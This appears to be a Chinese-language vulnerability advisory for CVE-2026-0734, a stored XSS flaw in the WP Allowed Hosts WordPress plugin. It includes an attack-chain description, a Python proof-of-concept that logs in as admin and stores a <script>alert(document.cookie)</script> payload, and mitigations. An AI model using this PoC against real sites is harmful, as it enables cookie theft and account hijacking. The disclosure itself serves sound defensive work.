IPBUF安全漏洞报告
English
CVE-2026-0734 CVSS 4.4 中危

CVE-2026-0734 WordPress WP Allowed Hosts插件存储型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-0734
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WP Allowed Hosts插件 for WordPress

相关标签

CVE-2026-0734WordPress插件漏洞存储型XSS跨站脚本WP Allowed HostsCVE-2026中等严重程度CVSS 4.4认证用户漏洞WordPress安全

漏洞概述

CVE-2026-0734是WordPress的WP Allowed Hosts插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的'allowed-hosts'参数中,影响版本至1.0.8。由于插件在处理用户输入时缺乏充分的输入清理和输出转义,攻击者可以在页面的允许主机列表中注入恶意JavaScript代码。这些恶意代码会被永久存储在数据库中,当其他用户访问包含注入内容的页面时,恶意脚本将在其浏览器中执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、修改页面内容或进行钓鱼攻击。此漏洞的利用需要攻击者拥有管理员级别或更高的访问权限,并且该漏洞仅影响多站点WordPress安装或禁用了unfiltered_html功能的站点。CVSS评分为4.4,属于中等严重程度,攻击复杂度较高但无需用户交互即可实现。

技术细节

该漏洞的根本原因在于WP Allowed Hosts插件在处理'allowed-hosts'参数时未能正确实施输入验证和输出编码。漏洞代码位于allowed-hosts.php文件的第170行附近,插件直接将该参数的值存储到数据库而未进行任何消毒处理。当管理员在前台页面访问受影响的设置时,存储的恶意脚本会被浏览器解析执行。攻击者可通过WordPress管理后台的插件设置界面,在允许主机字段中注入包含<script>标签或事件处理器(如onerror、onclick)的恶意代码。由于这是存储型XSS,恶意代码会持久存在于数据库中,每次相关页面被访问时都会触发。攻击者通常利用此漏洞窃取管理员的认证令牌,进而获得对整个WordPress站点的完全控制权。防御措施包括:对所有用户输入实施严格的输入验证,使用htmlspecialchars()或esc_html()等函数进行输出转义,以及升级到插件的最新修复版本。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress站点管理员级别或更高权限的账户访问权限
STEP 2
步骤2
攻击者导航至WP Allowed Hosts插件的设置页面(admin.php?page=wp-allowed-hosts)
STEP 3
步骤3
在'allowed-hosts'参数中注入包含恶意JavaScript代码的payload,如<script>alert(document.cookie)</script>或使用事件处理器如onerror、onclick
STEP 4
步骤4
提交设置表单,恶意代码被存储到数据库的wp_options或相关表中
STEP 5
步骤5
当其他用户(管理员或普通用户)访问使用allowed-hosts功能的页面时,存储的恶意脚本在其浏览器中执行
STEP 6
步骤6
攻击者通过执行的JavaScript窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2026-0734 PoC - WP Allowed Hosts Stored XSS # Target: WordPress site with WP Allowed Hosts plugin <= 1.0.8 target_url = "http://target-wordpress-site.com" admin_path = "/wp-admin/admin.php?page=wp-allowed-hosts" # Authentication (requires admin privileges) login_data = { "log": "admin_username", "pwd": "admin_password", "wp-submit": "Log In" } session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{target_url}/wp-login.php" resp = session.post(login_url, data=login_data, allow_redirects=True) # Step 2: Inject XSS payload via plugin settings xss_payload = '<script>alert(document.cookie)</script>' settings_data = { "allowed-hosts": xss_payload, "submit": "Save Changes" } settings_url = f"{target_url}{admin_path}" resp = session.post(settings_url, data=settings_data) # Step 3: Verify XSS is stored and executed # When any user visits pages using allowed-hosts functionality, # the XSS payload will be executed print(f"XSS payload sent: {xss_payload}") print(f"Response status: {resp.status_code}")

影响范围

WP Allowed Hosts插件 <= 1.0.8

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:1) 临时禁用WP Allowed Hosts插件;2) 审查并移除所有具有管理员权限的非必要账户;3) 启用WordPress的双因素认证功能;4) 使用Web应用防火墙(WAF)规则阻止包含<script>标签或事件处理器属性的请求;5) 限制对/wp-admin/目录的访问,仅允许信任的IP地址;6) 启用WordPress的DISALLOW_UNFILTERED_HTML常量以阻止未授权的HTML内容保存。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表